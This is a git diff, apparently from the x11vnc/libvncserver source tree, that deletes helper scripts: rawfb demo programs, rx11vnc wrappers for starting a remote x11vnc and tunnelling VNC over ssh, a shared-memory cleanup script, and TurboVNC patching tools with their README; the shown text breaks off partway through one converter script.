- # 0 < x,y < 1; R1, R2, ... B4 random & scaled so R,G,B < 255:
- # R(x,y) = R1 + R2 * x + R3 * y + R4 * x * y
- # G(x,y) = G1 + G2 * x + G3 * y + G4 * x * y
- # B(x,y) = B1 + B2 * x + B3 * y + B4 * x * y
-
- $minfac = 0.25;
- foreach $c ('R', 'G', 'B') {
- $a1 = rand() * $minfac;
- $a2 = rand();
- $a3 = rand();
- $a4 = rand();
- $at = $a1 + $a2 + $a3 + $a4;
- $a1 = 255 * ($a1/$at);
- $a2 = 255 * ($a2/$at);
- $a3 = 255 * ($a3/$at);
- $a4 = 255 * ($a4/$at);
- # invert axes randomly
- $ax = 0; $ax = 1 if rand() < 0.5;
- $ay = 0; $ay = 1 if rand() < 0.5;
- eval "\$${c}1 = \$a1";
- eval "\$${c}2 = \$a2";
- eval "\$${c}3 = \$a3";
- eval "\$${c}4 = \$a4";
- eval "\$${c}x = \$ax";
- eval "\$${c}y = \$ay";
- }
-
- for ($i = 0; $i < 256; $i++) {
- $p[$i] = pack("c", $i);
- }
-
- $Winv = 1.0/$W;
- $Hinv = 1.0/$H;
-
- $str = '';
- for ($y = 0; $y < $H; $y++) {
- $yr = $yg = $yb = $y;
- $yr = $H - $yr if $Ry;
- $yg = $H - $yg if $Gy;
- $yb = $H - $yb if $By;
- $yr = $yr * $Hinv;
- $yg = $yg * $Hinv;
- $yb = $yb * $Hinv;
-
- $Y[3*$y+0] = $yr;
- $Y[3*$y+1] = $yg;
- $Y[3*$y+2] = $yb;
- }
-
- for ($x = 0; $x < $W; $x++) {
- $xr = $xg = $xb = $x;
- $xr = $W - $xr if $Rx;
- $xg = $W - $xg if $Gx;
- $xb = $W - $xb if $Bx;
- $xr = $xr * $Winv;
- $xg = $xg * $Winv;
- $xb = $xb * $Winv;
-
- $X[3*$x+0] = $xr;
- $X[3*$x+1] = $xg;
- $X[3*$x+2] = $xb;
- }
-
- for ($y = 0; $y < $H; $y++) {
- #$yr = $yg = $yb = $y;
- #$yr = $H - $yr if $Ry;
- #$yg = $H - $yg if $Gy;
- #$yb = $H - $yb if $By;
- #$yr = $yr * $Hinv;
- #$yg = $yg * $Hinv;
- #$yb = $yb * $Hinv;
-
- $yr = $Y[3*$y+0];
- $yg = $Y[3*$y+1];
- $yb = $Y[3*$y+2];
-
- $RY1 = $R1 + $yr * $R3;
- $GY1 = $G1 + $yg * $G3;
- $BY1 = $B1 + $yb * $B3;
-
- $RY2 = $R2 + $yr * $R4;
- $GY2 = $G2 + $yg * $G4;
- $BY2 = $B2 + $yb * $B4;
-
- for ($x = 0; $x < $W; $x++) {
- #$xr = $xg = $xb = $x;
- #$xr = $W - $xr if $Rx;
- #$xg = $W - $xg if $Gx;
- #$xb = $W - $xb if $Bx;
- #$xr = $xr * $Winv;
- #$xg = $xg * $Winv;
- #$xb = $xb * $Winv;
-
- $n = 3 * $x;
-
- #$v = int($R1 + $xr*$R2 + $yr*$R3 + $xr*$yr*$R4);
- $v = int($RY1 + $X[$n]*$RY2);
- $str .= $p[$v];
-
- #$v = int($G1 + $xg*$G2 + $yg*$G3 + $xg*$yg*$G4);
- $v = int($GY1 + $X[$n+1]*$GY2);
- $str .= $p[$v];
-
- #$v = int($B1 + $xb*$B2 + $yb*$B3 + $xb*$yb*$B4);
- $v = int($BY1 + $X[$n+2]*$BY2);
- $str .= $p[$v];
-
- $str .= "\0";
- }
- }
- seek(FB, 0, 0);
- print FB $str;
-}
diff --git a/x11vnc/misc/rx11vnc b/x11vnc/misc/rx11vnc
deleted file mode 100755
index cf9c78b..0000000
--- a/x11vnc/misc/rx11vnc
+++ /dev/null
@@ -1,133 +0,0 @@
-#!/bin/sh
-#
-# usage: rx11vnc [-s] <host>:<xdisplay>
-# rx11vnc [-s] <host> (assumes xdisplay is 0)
-#
-# -s means use ssh instead of rsh.
-# -S tries to tunnel the vnc traffic thru ssh. (experimental...)
-#
-#set -xv
-
-#
-# Place your x11vnc cmd + options here (must have -bg and -display
-# with -display as the last one)
-#
-cmd="x11vnc -nap -q -bg -display"
-viewer="vncviewer"
-rsh=rsh
-
-#
-# The following two settings are only used under -S (ssh tunnel)
-#
-# Unfortunately, we have to set up the ssh port redirection *before*
-# x11vnc has started and selected its listening port.
-# tunnel_ports is a list of ports we expect/hope to be free on both
-# the local and remote machines:
-#
-tunnel_ports="5900 5901 5902 5903"
-#
-# VNC has a poor default in that if the client appears to be emanating
-# from the local machine, then raw encoding is preferred. With ssh port
-# redirection we appear to be coming from the localhost, but we are not.
-# We pass this encoding list to the viewer to give lowest preference to
-# raw encoding:
-#
-tunnel_encodings="copyrect tight zrle hextile zlib corre rre"
-
-if [ "$USER" = "runge" ]; then
- cmd="x11vnc.expt -nap -q -bg -rfbauth .vnc/passwd -display"
- viewer="vncviewerz"
-fi
-
-if [ "X$1" = "X-s" ]; then
- shift
- rsh=ssh
-elif [ "X$1" = "X-S" ]; then
- shift
- rsh=ssh
- tunnel=1
- cmd=`echo "$cmd" | sed -e 's/ / -localhost /'`
-fi
-
-remote=$1
-if echo "$remote" | grep ':' > /dev/null; then
- :
-else
- remote="$remote:0"
-fi
-
-host=`echo "$remote" | awk -F: '{print $1}'`
-disp=`echo "$remote" | awk -F: '{print $2}'`
-disp=":$disp"
-if [ "X$host" = "X" ]; then
- echo "bad host."
- exit 1
-fi
-
-# start the remote x11vnc:
-if [ $tunnel ]; then
- # much more kludgy for tunnelling:
- tmp=/tmp/rx11vnc.$$
- redir=""
- used_ports=`netstat -an | egrep '(ESTABLISHED|LISTEN) *$' \
- | sed -e 's/^[ ]*//' -e 's/^tcp[ 0-9][ 0-9]*//' \
- -e 's/[ ].*$//' -e 's/^.*[^0-9]//' | sort -nu`
- for p in $tunnel_ports
- do
- ok=1
- for u in $used_ports
- do
- if [ "X$p" = "X$u" ]; then
- echo "port $u is in use. skipping it"
- ok=
- break
- fi
- done
- if [ $ok ]; then
- redir="$redir -L $p:localhost:$p"
- fi
- done
- #
- # Have ssh put the command in the bg, then we look for PORT=
- # in the tmp file. The sleep at the end is to give us enough
- # time to connect thru the port redir, otherwise ssh will exit
- # before we can connect.
- #
- time=15
- $rsh -t -f $redir $host "$cmd $disp; echo END; sleep $time" > $tmp
-
- i=0
- while [ $i -lt $time ]
- do
- sleep 1
- if grep '^PORT=' $tmp > /dev/null; then
- port=`grep '^PORT=' $tmp | sed -e 's/PORT=//'`
- if [ "X$port" != "X" ]; then
- break
- fi
- fi
- i=`expr $i + 1`
- done
- cat $tmp
- rm -f $tmp
-else
- port=`$rsh $host "$cmd $disp" | grep '^PORT=' | sed -e 's/PORT=//'`
-fi
-
-echo "x11vnc port is '$port'"
-
-# now start up the viewer on this end:
-if echo "$port" | grep '^[0-9][0-9]*$' > /dev/null; then
- if [ $port -lt 6000 -a $port -ge 5900 ]; then
- # vncviewer special cases 0-99
- port=`expr $port - 5900`
- fi
- if [ $tunnel ]; then
- $viewer -encodings "$tunnel_encodings" "localhost:$port"
- else
- $viewer "$host:$port"
- fi
-else
- echo "bad port."
- exit 1
-fi
diff --git a/x11vnc/misc/rx11vnc.pl b/x11vnc/misc/rx11vnc.pl
deleted file mode 100755
index e6ab0a1..0000000
--- a/x11vnc/misc/rx11vnc.pl
+++ /dev/null
@@ -1,199 +0,0 @@
- #!/bin/sh -- # A comment mentioning perl
-eval 'exec perl -S $0 ${1+"$@"}'
- if 0;
-#
-# Here is the remote x11vnc command.
-# Modify to your needs, required to have %DISP item that expands to X display
-# and the -bg option to go into the background.
-#
-$x11vnc_cmd = "x11vnc -localhost -nap -q -bg -display %DISP";
-
-#
-# We will redir local ports to these remote ports hoping the remote
-# x11vnc selects one of them:
-#
-@tunnel_ports = qw(5900 5901 5902 5903 5904);
-
-#
-# We need to specify the encoding preferences since vncviewer will
-# mistakeningly prefer "raw" encoding for local connection. required to
-# have %VNC_ITEM to expand to localhost:<port>
-
-# One really needs an -encodings option otherwise the vncviewer will
-# prefer 'raw' which is very slow.
-#
-$viewer_cmd = "vncviewer -encodings 'copyrect tight zrle hextile zlib corre rre' %VNC_DISP";
-$sleep_time = 15;
-
-if ($ENV{USER} eq 'runge') {
- # my personal kludges:
- $viewer_cmd =~ s/vncviewer/vncviewerz/; # for tight
- $x11vnc_cmd .= ' -rfbauth .vnc/passwd'; # I always want rfbauth
-}
-
-chop($Program = `basename $0`);
-
-$Usage = <<"END";
-
-$Program: wrapper to tunnel vncviewer <-> x11vnc VNC traffic through a ssh
- encrypted tunnel port redirection.
-
-Usage: $Program <options> <remote-Xdisplay>
-
-Options:
- -l <user> ssh login as remote user <user>
-
- -rfbauth <remote-auth-file> this option is passed to the remote
- x11vnc command for passwd file.
-
-Notes:
-
-Example: $Program snoopy:0
-
-END
-
-LOOP:
-while (@ARGV) {
- $_ = shift;
- CASE: {
- /^-display$/ && ($remote_xdisplay = shift, last CASE);
- /^-rfbauth$/ && ($x11vnc_cmd .= ' -rfbauth ' . shift, last CASE);
- /^-l$/ && ($remote_user = ' -l ' . shift, last CASE);
- /^--$/ && (last LOOP); # -- means end of switches
- /^-(-.*)$/ && (unshift(@ARGV, $1), last CASE);
- /^(-h|-help)$/ && ((print STDOUT $Usage), exit 0, last CASE);
- if ( /^-(..+)$/ ) { # split bundled switches:
- local($y, $x) = ($1, '');
- (unshift(@ARGV, $y), last CASE) if $y =~ /^-/;
- foreach $x (reverse(split(//, $y))) { unshift(@ARGV,"-$x") };
- last CASE;
- }
- /^-/ && ((print STDERR "Invalid arg: $_\n$Usage"), exit 1, last CASE);
- unshift(@ARGV,$_);
- last LOOP;
- }
-}
-
-select(STDERR); $| = 1;
-select(STDOUT); $| = 1;
-
-# Determine the remote X display to connect to:
-$remote_xdisplay = shift if $remote_xdisplay eq '';
-if ($remote_xdisplay !~ /:/) {
- $remote_xdisplay .= ':0'; # assume they mean :0 over there.
-}
-if ($remote_xdisplay =~ /:/) {
- $host = $`;
- $disp = ':' . $';
-} else {
- die "bad X display: $remote_xdisplay, must be <host>:<display>\n";
-}
-
-#
-# Get list of local ports in use so we can avoid them:
-# (tested on Linux and Solaris)
-#
-open(NETSTAT, "netstat -an|") || die "netstat -an: $!";
-while (<NETSTAT>) {
- chomp ($line = $_);
- next unless $line =~ /(ESTABLISHED|LISTEN|WAIT2?)\s*$/;
- $line =~ s/^\s*//;
- $line =~ s/^tcp[\s\d]*//;
- $line =~ s/\s.*$//;
- $line =~ s/^.*\D//;
- if ($line !~ /^\d+$/) {
- die "bad netstat line: $line from $_";
- }
- $used_port{$line} = 1;
-}
-close(NETSTAT);
-
-#
-# Now match up free local ports with the desired remote ports
-# (note that the remote ones could be in use but that won't stop
-# the ssh with port redirs from succeeding)
-#
-$lport = 5900;
-$cnt = 0;
-foreach $rport (@tunnel_ports) {
- while ($used_port{$lport}) {
- $lport++;
- $cnt++;
- die "too hard to find local ports 5900-$lport" if $cnt > 200;
- }
- $port_map{$rport} = $lport;
- $lport++;
-}
-
-$redir = '';
-foreach $rport (@tunnel_ports) {
- $redir .= " -L $port_map{$rport}:localhost:$rport";
-}
-
-#
-# Have ssh put the command in the bg, then we look for PORT= in the
-# tmp file. The sleep at the end is to give us enough time to connect
-# thru the port redir, otherwise ssh will exit before we can connect.
-#
-
-# This is the x11vnc cmd for the remote side:
-$cmd = $x11vnc_cmd;
-$cmd =~ s/%DISP/$disp/;
-
-# This is the ssh cmd for the local side (this machine):
-$ssh_cmd = "ssh -t -f $remote_user $redir $host '$cmd; echo END; sleep $sleep_time'";
-$ssh_cmd =~ s/ / /g;
-print STDERR "running ssh command:\n\n$ssh_cmd\n\n";
-
-#
-# Run ssh and redir into a tmp file (assumes ssh will use /dev/tty
-# for password/passphrase dialog)
-#
-$tmp = "/tmp/rx.$$";
-system("$ssh_cmd > $tmp");
-
-# Now watch for the PORT=XXXX message:
-$sleep = 0;
-$rport = '';
-print STDERR "\nWaiting for x11vnc to indicate its port ..";
-while ($sleep < $sleep_time + 10) {
- print STDERR ".";
- sleep(1);
- $sleep++;
- if (`cat $tmp` =~ /PORT=(\d+)/) {
- $rport = $1;
- # wait 1 more second for output:
- sleep(1);
- if (`cat $tmp` =~ /PORT=(\d+)/) {
- $rport = $1;
- }
- last;
- }
-}
-print STDERR "\n";
-
-if (! $rport) {
- print STDERR `cat $tmp`;
- unlink($tmp);
- die "could not determine remote port.\n";
-}
-unlink($tmp);
-
-# Find the remote to local mapping:
-$lport = $port_map{$rport};
-print STDERR "remote port is: $rport (corresponds to port $lport here)\n";
-if (! $lport) {
- die "could not determine local port redir.\n";
-}
-
-# Apply the special casing vncviewer does for 5900 <= port < 6000
-if ($lport < 6000 && $lport >= 5900) {
- $lport = $lport - 5900;
-}
-
-# Finally, run the viewer.
-$cmd = $viewer_cmd;
-$cmd =~ s/%VNC_DISP/localhost:$lport/;
-
-print STDERR "running vncviewer command:\n\n$cmd\n\n";
-system($cmd);
diff --git a/x11vnc/misc/shm_clear b/x11vnc/misc/shm_clear
deleted file mode 100755
index 16d5cb6..0000000
--- a/x11vnc/misc/shm_clear
+++ /dev/null
@@ -1,97 +0,0 @@
-#!/bin/sh
-#
-# shm_clear: clean out unattached (NATTACH=0) shm segments.
-# See ipcs(1) and ipcrm(1). Tested on Linux and Solaris.
-#
-# Usage:
-# shm_clear list and prompt for removal of your unattached shm segments.
-# shm_clear -y assume "yes" to all the removal prompts.
-# shm_clear -l only list (all of) your shm segments and exit.
-#
-
-#set -xv
-if echo "$1" | grep '^-h' > /dev/null; then
- # -h or -help
- tail +3 $0 | head -9
- exit
-fi
-
-if [ "X$USER" = "X" ]; then
- USER=$LOGNAME
-fi
-l_arg="shmid.*owner|CREATOR|$USER"
-
-# set up OS dependent cmdline opts, etc.
-if [ `uname` = "Linux" ]; then
- m_arg="-m"
- r_arg="shm"
- g_arg="^0x"
- s_cmd="ipcs $m_arg -i %ID"
- awkcut='{print $2, $6}'
-elif [ `uname` = "SunOS" ]; then
- m_arg="-ma"
- r_arg="-m"
- g_arg="^m"
- s_cmd="ipcs $m_arg | egrep ' %ID |CREATOR' | grep -v IPC.status"
- awkcut='{print $2, $9}'
-else
- echo unsupported OS: `uname`
- exit 1
-fi
-
-list() {
- if [ "X$1" = "X-L" ]; then
- l_arg="$l_arg|."
- echo "All shm segments for all:"
- else
- echo "All shm segments for $USER:"
- fi
- ipcs $m_arg | egrep "$l_arg"
- echo
-}
-
-show() {
- cmd=`echo "$s_cmd" | sed -e "s/%ID/$1/g"`
- eval $cmd
-}
-
-remove() {
- echo ipcrm $r_arg $1
- ipcrm $r_arg $1
-}
-
-if [ "X$1" = "X-l" -o "X$1" = "X-L" ]; then
- # list only. both attached and unattached listed.
- list $1
- exit 0
-fi
-
-if [ "X$1" = "X-y" ]; then
- shift
- yes=1 # assume "yes" to all delete questions.
-else
- yes=""
-fi
-
-list
-
-ids=`ipcs $m_arg | grep "$g_arg" | grep $USER | awk "$awkcut" | grep ' 0$' | awk '{print $1}'`
-if [ "X$ids" = "X" ]; then
- echo "No unattached shmids for $USER."
-fi
-
-for id in $ids
-do
- if [ $yes ]; then
- :
- else
- echo "-------------------------------------"
- show $id
- printf "\nDelete? [y]/n "
- read x
- if echo "$x" | grep -i n > /dev/null; then
- continue
- fi
- fi
- remove $id
-done
diff --git a/x11vnc/misc/slide.pl b/x11vnc/misc/slide.pl
deleted file mode 100755
index b8f284e..0000000
--- a/x11vnc/misc/slide.pl
+++ /dev/null
@@ -1,112 +0,0 @@
- #!/bin/sh -- # A comment mentioning perl
-eval 'exec perl -S $0 ${1+"$@"}'
- if 0;
-#
-# slide.pl: amusing example slideshow program for use with x11vnc -rawfb mode.
-#
-# E.g. x11vnc -rawfb map:/tmp/foo@640x480x32:ff/ff00/ff0000 -pipeinput slide.pl
-#
-# requires: jpegtopnm(1), (maybe LSB too).
-#
-
-@jpegs = qw(
- dr_fun_new.jpg canon.jpg go_microsoft.jpg jonathan2.jpg
- michelle1.jpg novm.jpg photo-008.jpg presrange.jpg
-);
-
-# Or:
-# @jpegs = @ARGV;
-# @jpegs = <*.jpg>;
-
-# this is x11vnc's -rawfb value:
-if ($ENV{X11VNC_RAWFB_STR} =~ m,:(.*)@(\d+)x(\d+)x(\d+),) {
- $fb = $1; # filename
- $W = $2; # width
- $H = $3; # height
-} else {
- die "No usable X11VNC_RAWFB_STR\n";
-}
-
-open(FB, ">$fb") || die "$!";
-
-# make a solid background:
-$ones = "\377" x ($W * 4);
-$grey = "\340" x ($W * 4);
-for ($y = 0; $y < $H; $y++) {
- print FB $grey;
-}
-
-# this is rather slow with many jpegs... oh well.
-foreach $pic (@jpegs) {
- print STDERR "loading '$pic' please wait ...\n";
- open(JPEG, "jpegtopnm '$pic' 2>/dev/null|") || die "$!";
- while (<JPEG>) {
- next if /^P\d/;
- if (/^(\d+)\s+(\d+)\s*$/) {
- $Jpeg{$pic}{w} = $1;
- $Jpeg{$pic}{h} = $2;
- }
- last if /^255$/;
- }
- $data = '';
- while (<JPEG>) {
- $data .= $_;
- }
- close(JPEG);
-
- # need to put in a 4th 0 byte after RGB for 32bpp. 24bpp doesn't work.
- # (MSB might be other way around).
-
- $new = '';
- for ($l = 0; $l < int(length($data)/3); $l++) {
- $new .= substr($data, $l * 3, 3) . "\0";
- }
- $Jpeg{$pic}{data} = $new;
- $data = ''; $new = '';
-
- if ($pic eq $jpegs[0]) {
- showpic(0);
- }
-}
-
-$N = scalar(@jpegs);
-print STDERR "\nFinished loading $N images. Click Button or Spacebar for next.\n";
-$I = 0;
-
-while (<>) {
- # read the next user input event, watch for button press or spacebar:
- ###last if /^Keysym.* [qQ] /;
- next unless /^(Pointer.*ButtonPress|Keysym.*space.*KeyPress)/;
- $I = ($I + 1) % $N;
- showpic($I);
-}
-
-sub showpic {
- my($i) = @_;
-
- my $pic = $jpegs[$i];
- my $h = $Jpeg{$pic}{h};
- my $w = $Jpeg{$pic}{w};
-
- my $dy = int(($H - $h)/2);
- my $dx = int(($W - $w)/2);
-
- print STDERR "showing pic $i: $pic\t$w x $h +$dy+$dx\n";
-
- # clear screen:
- seek(FB, 0, 0);
- for ($y = 0; $y < $H; $y++) {
- print FB $ones;
- }
-
- # insert new picture:
- for ($y = 0; $y < $h; $y++) {
- seek(FB, (($y + $dy) * $W + $dx) * 4, 0);
- $line = substr($Jpeg{$pic}{data}, $y * $w * 4, $w * 4);
- print FB $line;
- }
-}
-
-close(FB);
-###unlink($fb); # this (probably) won't kill x11vnc
-print STDERR "$0 done.\n";
diff --git a/x11vnc/misc/turbovnc/Makefile.am b/x11vnc/misc/turbovnc/Makefile.am
deleted file mode 100644
index 3c6edc6..0000000
--- a/x11vnc/misc/turbovnc/Makefile.am
+++ /dev/null
@@ -1,8 +0,0 @@
-# This file has been (or is hereby) released into the public domain by
-# its author, Karl J. Runge <runge@karlrunge.com>. This applies worldwide.
-#
-# In case this is not legally possible: Karl J. Runge grants anyone the
-# right to use this work for any purpose, without any conditions, unless
-# such conditions are required by law.
-
-EXTRA_DIST=README apply_turbovnc convert convert_rfbserver tight.c turbojpeg.h undo_turbovnc
diff --git a/x11vnc/misc/turbovnc/Makefile.in b/x11vnc/misc/turbovnc/Makefile.in
deleted file mode 100644
index 681bbcd..0000000
--- a/x11vnc/misc/turbovnc/Makefile.in
+++ /dev/null
@@ -1,416 +0,0 @@
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-# @configure_input@
-
-# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002,
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-# This Makefile.in is free software; the Free Software Foundation
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-
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-
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-all: all-am
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diff --git a/x11vnc/misc/turbovnc/README b/x11vnc/misc/turbovnc/README
deleted file mode 100644
index 328929c..0000000
--- a/x11vnc/misc/turbovnc/README
+++ /dev/null
@@ -1,159 +0,0 @@
-#
-# This work has been (or is hereby) released into the public domain by
-# its author, Karl J. Runge <runge@karlrunge.com>. This applies worldwide.
-#
-# In case this is not legally possible: Karl J. Runge grants anyone the
-# right to use this work for any purpose, without any conditions, unless
-# such conditions are required by law.
-#
-
-INTRO:
-------
-
-This is a "patch" to make x11vnc/libvncserver work with TurboVNC:
-
- http://www.virtualgl.org/About/TurboVNC
- http://www.karlrunge.com/x11vnc/faq.html#faq-turbovnc
-
-It is very experimental/kludgy. Not all TurboVNC features may be enabled.
-We are currently evaluating whether TurboVNC support should be officially
-put into x11vnc/libvncserver.
-
-TurboVNC is an optimized VNC for fast refresh rates on fast networks.
-
-It does pretty well on good broadband as well. But it is not as fast
-as regular TightVNC on slow links.
-
-
-TURBOJPEG:
----------
-
-TurboVNC uses the TurboJPEG library based on a fast proprietary JPEG
-implementation. You will need to download it from the VirtualGL
-sourceforge site:
-
- http://sourceforge.net/project/showfiles.php?group_id=117509&package_id=166100
-
-Either install it or simply unpack the .deb or .rpm file into a directory.
-
-N.B. you can unpack a .deb via 'ar x package.deb' and the extracting
-from the data.tar.gz file. rpm2cpio can be used to unpack .rpm's.
-
-
-QUICK-START:
-------------
-
-For those in a hurry:
-
- cd x11vnc-x.y.z/x11vnc/misc/turbovnc
- ./apply_turbovnc
- cd ../../..
- env LDFLAGS='-L/DIR -Xlinker --rpath=/DIR' ./configure
- make AM_LDFLAGS='-lturbojpeg'
-
-where you replace /DIR with your directory containing libturbojpeg.so.
-
-
-PATCHING AND BUILDING:
-----------------------
-
-After unpacking your x11vnc-x.y.z.tar.gz tarball cd to the
-x11vnc-x.y.z/x11vnc/misc/turbovnc (where this README file is) and from
-that directory run:
-
- ./apply_turbovnc
-
-that will modify files in the libvncserver and x11vnc directories above
-this directory. (To undo these changes run: ./undo_turbovnc) The input
-sources, tight.c and turbojpeg.h are from the TurboVNC source package.
-
-After applying, go back to the top level source directory and run:
-
- env LDFLAGS='-L/path/to/turbojpeg -Xlinker --rpath=/path/to/turbojpeg' ./configure
-
-where the turbojpeg library is:
-
- /path/to/turbojpeg/libturbojpeg.so
-
-(change /path/to/turbojpeg to the directory where you installed or
-unpacked it.)
-
-If you are not using gnu gcc and gnu linker the options may be a little
-different (e.g. -R instead of -Xlinker --rpath).
-
-If you need additional ./configure options or env. var. settings,
-add them too.
-
-
-Next, run this make command:
-
- make AM_LDFLAGS='-lturbojpeg'
-
-This is a hack and may not always work, if it doesn't edit x11vnc/Makefile
-and add '-lturbojpeg' to the LIBS variable.
-
-This should create a binary:
-
- ./x11vnc/x11vnc
-
-that supports VirtualGL's TurboVNC.
-
-You will need a TurboVNC viewer, you can get one here:
-
- http://sourceforge.net/project/showfiles.php?group_id=117509&package_id=128130
-
-Let us know how it goes.
-
-
-PERFORMANCE:
-------------
-
-Note that x11vnc has to read the display's screen pixels from the
-graphics card memory. This can be slow, e.g. 10 MB/sec.
-
-There is not a big need for graphics card manufacturers to optimize the
-read rate; the write rate is the one they optimize greatly.
-
- http://www.karlrunge.com/x11vnc/#limitations
-
-If you run x11vnc and see lines like this:
-
- 28/02/2009 00:52:07 Autoprobing selected port 5900
- 28/02/2009 00:52:07 fb read rate: 10 MB/sec
- 28/02/2009 00:52:07 screen setup finished.
-
-you have a typical slow one.
-
-Whereas if you see this:
-
- 28/02/2009 00:54:46 Autoprobing selected port 5900
- 28/02/2009 00:54:46 fb read rate: 321 MB/sec
- 28/02/2009 00:54:46 fast read: reset wait ms to: 10
- 28/02/2009 00:54:46 fast read: reset defer ms to: 10
- 28/02/2009 00:54:46 screen setup finished.
-
-that is very fast. In such a situation you may want to dial down
-x11vnc's delay, e.g.: -wait 5 -defer 5, or even smaller to push things
-out more quickly.
-
-We have only seen it this fast on Linux by using the nvidia proprietary
-graphics drivers. The Xorg drivers are typically slow 10 MB/sec.
-
-It will also be fast if the X server is virtual: Xvfb or Xdummy
-since the screen pixels are stored in RAM:
-
- http://www.karlrunge.com/x11vnc/faq.html#faq-xvfb
-
-And it will be fast if the ShadowFB xorg.conf option is enabled (if the
-card supports it.)
-
-
-The point we are trying to make is that even though TurboVNC uses a
-wicked fast JPEG implementation, and cuts out overhead in its attempt to
-pump out as many frames per second as it can, if it is slow for x11vnc
-to read the screen pixels in the first place then you might not even
-notice the TurboVNC speedup.
-
-So TurboVNC+x11vnc will be faster than TightVNC+x11vnc, but if there is
-a large overhead/bottleneck from reading the graphics card framebuffer,
-then the speedup will be marginal.
diff --git a/x11vnc/misc/turbovnc/apply_turbovnc b/x11vnc/misc/turbovnc/apply_turbovnc
deleted file mode 100755
index 45e4700..0000000
--- a/x11vnc/misc/turbovnc/apply_turbovnc
+++ /dev/null
@@ -1,46 +0,0 @@
-#!/bin/sh
-#
-# This script has been (or is hereby) released into the public domain by
-# its author, Karl J. Runge <runge@karlrunge.com>. This applies worldwide.
-#
-# In case this is not legally possible: Karl J. Runge grants anyone the
-# right to use this work for any purpose, without any conditions, unless
-# such conditions are required by law.
-
-ldir="../../../libvncserver"
-
-fail=""
-if [ ! -f "./tight.c" ]; then
- fail=1
-fi
-if [ ! -f "./turbojpeg.h" ]; then
- fail=1
-fi
-if [ ! -f "./convert" ]; then
- fail=1
-fi
-if [ ! -f "$ldir/tight.c" ]; then
- ls -l "$ldir/tight.c"
- fail=1
-fi
-if [ ! -f "$ldir/rfbserver.c" ]; then
- ls -l "$ldir/rfbserver.c"
- fail=1
-fi
-if [ "X$fail" = "X1" ]; then
- echo "Must be run from inside the directory containing 'apply_turbovnc'"
- exit 1
-fi
-
-set -x
-if [ ! -f "$ldir/tight.c.ORIG" ]; then
- cp -p "$ldir/tight.c" "$ldir/tight.c.ORIG"
-fi
-if [ ! -f "$ldir/rfbserver.c.ORIG" ]; then
- cp -p "$ldir/rfbserver.c" "$ldir/rfbserver.c.ORIG"
-fi
-
-perl ./convert ./tight.c > "$ldir/tight.c"
-perl ./convert_rfbserver $ldir/rfbserver.c.ORIG > "$ldir/rfbserver.c"
-cp -p ./turbojpeg.h "$ldir"
-ls -l $ldir/tight.c* $ldir/rfbserver.c* $ldir/turbojpeg.h
diff --git a/x11vnc/misc/turbovnc/convert b/x11vnc/misc/turbovnc/convert
deleted file mode 100755
index f218f84..0000000
--- a/x11vnc/misc/turbovnc/convert
+++ /dev/null
@@ -1,79 +0,0 @@
-#!/usr/bin/perl
-#
-# This script has been (or is hereby) released into the public domain by
-# its author, Karl J. Runge <runge@karlrunge.com>. This applies worldwide.
-#
-# In case this is not legally possible: Karl J. Runge grants anyone the
-# right to use this work for any purpose, without any conditions, unless
-# such conditions are required by law.
-
-while (<>) {
- if (/^#include.*"rfb.h"/) {
- print <<END;
-#include <rfb/rfb.h>
-#define Bool rfbBool
-#define CARD32 uint32_t
-#define CARD16 uint16_t
-#define CARD8 uint8_t
-#define xalloc malloc
-#define xrealloc realloc
-#define rfbTightNoZlib 0x0A
-#define tightSubsampLevel correMaxWidth
-
-#if LIBVNCSERVER_HAVE_LIBPTHREAD && LIBVNCSERVER_HAVE_TLS
-#define TLS __thread
-#else
-#define TLS
-#endif
-
-END
- next;
- }
- foreach $func (qw(FindBestSolidArea ExtendSolidArea CheckSolidTile CheckSolidTile##bpp CheckSolidTile8 CheckSolidTile16 CheckSolidTile32 Pack24)) {
- if (/static.*\b\Q$func\E\b/ && !exists $did_static{$func}) {
- $_ =~ s/\b\Q$func\E\b(\s*)\(/$func$1(rfbClientPtr cl, /;
- $did_static{$func} = 1;
- } elsif (/\b\Q$func\E\b\s*\(/) {
- $_ =~ s/\b\Q$func\E\b(\s*)\(/$func$1(cl, /;
- }
- }
-
-# if (/^\s*subsampLevel\s*=\s*cl/) {
-# $_ = "//$_";
-# print "subsampLevel = 0;\n";
-# }
-
-# $_ =~ s/cl->tightQualityLevel;/cl->tightQualityLevel * 10;/;
-
- if (/^static\s+(Bool|int|CARD32|PALETTE|char|unsigned|tjhandle)\s+[^()]*;\s*$/) {
- $_ =~ s/^static/static TLS /;
- }
-
- $_ =~ s/rfbScreen.pfbMemory/cl->scaledScreen->frameBuffer/g;
- $_ =~ s/rfbScreen.paddedWidthInBytes/cl->scaledScreen->paddedWidthInBytes/g;
- $_ =~ s/rfbScreen.bitsPerPixel/cl->scaledScreen->bitsPerPixel/g;
- $_ =~ s/rfbServerFormat/cl->screen->serverFormat/g;
-
- if (/^(FindBestSolidArea|ExtendSolidArea|static void Pack24|CheckSolidTile)\(cl/) {
- $_ .= "rfbClientPtr cl;\n";
- }
- if (/^(CheckSolidTile##bpp)\(cl/) {
- $_ .= "rfbClientPtr cl; \\\n";
- }
- $_ =~ s/\bublen\b/cl->ublen/;
- $_ =~ s/\bupdateBuf\b/cl->updateBuf/;
-
- if (/cl->(rfbRectanglesSent|rfbBytesSent)/) {
- $_ = "//$_";
- }
- print;
-}
-
-print <<END;
-
-void rfbTightCleanup(rfbScreenInfoPtr screen) {
-}
-
-END
-
-
diff --git a/x11vnc/misc/turbovnc/convert_rfbserver b/x11vnc/misc/turbovnc/convert_rfbserver
deleted file mode 100755
index 81267ac..0000000
--- a/x11vnc/misc/turbovnc/convert_rfbserver
+++ /dev/null
@@ -1,56 +0,0 @@
-#!/usr/bin/perl
-#
-# This script has been (or is hereby) released into the public domain by
-# its author, Karl J. Runge <runge@karlrunge.com>. This applies worldwide.
-#
-# In case this is not legally possible: Karl J. Runge grants anyone the
-# right to use this work for any purpose, without any conditions, unless
-# such conditions are required by law.
-
-$saw_mark = 0;
-$done = 0;
-
-while (<>) {
- if (! $saw_mark && /case rfbEncodingServerIdentity:/) {
- $saw_mark = 1;
- }
- if ($saw_mark && !$done && /default:/) {
- print;
-
- print <<END;
- /* for turbovnc */
-#define rfbJpegQualityLevel1 0xFFFFFE01
-#define rfbJpegQualityLevel100 0xFFFFFE64
-#define rfbJpegSubsamp1X 0xFFFFFD00
-#define rfbJpegSubsamp4X 0xFFFFFD01
-#define rfbJpegSubsamp2X 0xFFFFFD02
-#define rfbJpegSubsampGray 0xFFFFFD03
-
